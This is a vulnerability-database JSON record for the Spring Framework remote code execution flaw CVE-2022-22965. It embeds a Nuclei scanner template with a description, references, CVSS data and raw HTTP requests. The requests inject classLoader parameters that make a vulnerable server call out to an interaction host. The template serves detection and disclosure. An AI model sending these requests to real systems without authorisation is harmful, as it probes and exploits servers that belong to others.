{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2022-22965/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2022-22965/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2022-22965/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2022-22965/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2022-22965/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2022-22965"},"sightings":{"href":"/api/v1/sightings/cve-2022-22965"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2022/CVE-2022-22965.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2022-22965\n\ninfo:\n  name: Spring - Remote Code Execution\n  author: justmumu,arall,dhiyaneshDK,akincibor\n  severity: critical\n  description: |\n    Spring MVC and Spring WebFlux applications running on Java Development Kit 9+ are susceptible to remote code execution via data binding. It requires the application to run on Tomcat as a WAR deployment. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.\n  impact: |\n    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.\n  remediation: If the application is deployed as a Spring Boot executable jar, i.e. the default, it is not vulnerable to this exploit.\n  reference:\n    - https://tanzu.vmware.com/security/cve-2022-22965\n    - https://www.lunasec.io/docs/blog/spring-rce-vulnerabilities/\n    - https://twitter.com/RandoriAttack/status/1509298490106593283\n    - https://mp.weixin.qq.com/s/kgw-O4Hsd9r2vfme3Y2Ynw\n    - https://twitter.com/_0xf4n9x_/status/1509935429365100546\n    - https://nvd.nist.gov/vuln/detail/cve-2022-22965\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2022-22965\n    cwe-id: CWE-94\n    epss-score: 0.99638\n    epss-percentile: 0.99949\n    cpe: cpe:2.3:a:vmware:spring_framework:*:*:*:*:*:*:*:*\n  metadata:\n    max-request: 4\n    vendor: vmware\n    product: spring_framework\n  tags: cve2022,cve,rce,spring,injection,oast,intrusive,kev,vmware,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        POST {{BaseURL}} HTTP/1.1\n        Content-Type: application/x-www-form-urlencoded\n\n        class.module.classLoader.resources.context.configFile={{interact_protocol}}://{{interactsh-url}}&class.module.classLoader.resources.context.configFile.content.aaa=xxx\n      - |\n        GET /?class.module.classLoader.resources.context.configFile={{interact_protocol}}://{{interactsh-url}}&class.module.classLoader.resources.context.configFile.content.aaa=xxx HTTP/1.1\n\n    payloads:\n      interact_protocol:\n        - \"http\"\n        - https\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: interactsh_protocol # Confirms the HTTP Interaction\n        words:\n          - \"http\"\n\n      - type: word\n        part: interactsh_request\n        words:\n          - \"User-Agent: Java\"\n        case-insensitive: true\n# digest: 4a0a00473045022100f5fd91d01f8c4ff32cf598f9760de6d67884c13f19d2c8eb25d2a90831b02464022022539b36112d388c1067fa0c3acc77576efea2d81bdb3d411cc82d744e73a410:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2022-22965"}